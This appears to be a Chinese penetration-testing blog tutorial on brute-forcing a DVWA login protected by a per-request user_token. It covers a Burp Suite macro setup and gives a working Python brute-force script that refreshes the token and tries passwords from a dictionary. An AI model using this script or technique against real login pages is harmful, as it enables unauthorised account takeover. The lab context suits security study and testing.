burp密码爆破字典_如何在渗透测试中爆破刷新token的请求

0x00 前言

    一些web网站为了增强自己的安全性,会在请求中添加token,每一次请求服务端校验token是否正确,同时返回新的token给客户端。本文以dvwa为例,介绍遇到以上情况时如何应对

0x01 利用Burp模块解决

我们搭建dwva为例,分析dvwa的登录过程,发现了user_token参数阻止了我们常规的口令爆破。

68ab5a483c2a34d8603a976e301179c9.png

1a0d1add1f41b06d4872bd2fd9fb8ab1.png

此处,我们的目标是让burpsuite自动获取并更新该参数

首先,点击burp的project options- sessions模块,找到macros宏录制功能,add添加一个宏

a061d7181cd59bb46598aaf431c29344.png

选择一条响应包中包含user_token参数的url,点击ok

6405692494cf6842fa424520cfce0251.png

点击configure item,再点击add

e33a1f4cc0310750829aeced900a103f.png双击选中user_token的值,然后点击ok

f7a6619cbdf7fcd1af1bbb11c3fb6e11.png

ok保存完成后,到此,我们就成功录制了一个宏

8e45761685d2ff310d585e9fb4e78a76.png

接下来找到session handlingrules,add添加一条规则

fc51b3a7a689d8c69688b18f36b9baea.png点击run a macro

6c2c7ee601f92c8b6a25def1f2d7396c.png

选择刚刚录制的宏,然后点击update only the following parameters,参数名填user_token(爆破过程中需要更新的参数)

6ca05c2c3e37006cf0b290161d882115.png

添加并保存后,找到scope选项设置生效的范围,由于这里只演示爆破操作,所以范围选择intruder,url选择包含所有url

ece6cd729ee0e8492633260ec4eb1de6.png

设置完毕后就可以愉快的爆破了,可以看到每一次请求user_token会自动更新。需要注意的是由于服务端更新token存在一个时间间隔,所以建议爆破时将线程调低一点

a23a3ae78f48587ca438f43c813996a1.png

eeea3bf81cf5f3e1e7ab6389f64019d6.png

验证下,筛选结果,当密码正确时,响应包中有index.php关键字,进一步得出dvwa的密码是password

c90dc044769bf077281f54a43155e032.png

0x02 利用Python脚本解决

以上是使用burpsuite处理token的方法,当然也可以写个脚本完成获取token并爆破的过程,下面给出Python代码供读者参考

1.  import re  2.  import sys  3.  import requests  4.    5.  # 获取user_token参数值  6.  def get_token(url):  7.      global conn  8.      conn = requests.session()  9.      req = conn.get(url=url,verify=False)  10.      pat = "name='user_token' value='(.*?)'"  11.      user_token = re.compile(pat).findall(req.text)[0]  12.      return user_token  13.    14.  def brute_login(url,token,passwd):  15.      # 爆破时使用burp代理  16.      proxies = {  17.          "http": "http://127.0.0.1:8080",  18.          "https": "http://127.0.0.1:8080"  19.      }  20.      payload = {'username': 'admin', 'password': passwd, 'Login': 'Login', 'user_token': token}  21.      req = conn.post(url=url,data=payload,proxies=proxies,verify=False)  22.      # 根据响应包中是否包含Login failed来判断密码是否正确  23.      if "Login failed" not in req.text:  24.          # 爆破完成后打印密码并退出  25.          print("密码是:",passwd)  26.          sys.exit()  27.    28.  def main():  29.      url = "http://127.0.0.1/dvwa/login.php"  30.      # 加载密码字典  31.      f = open('pass.txt')  32.      for line in f.readlines():  33.          user_token = get_token(url)  34.          brute_login(url,user_token,line.strip())  35.      f.close()  36.    37.  if __name__ == '__main__':  38.      main()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值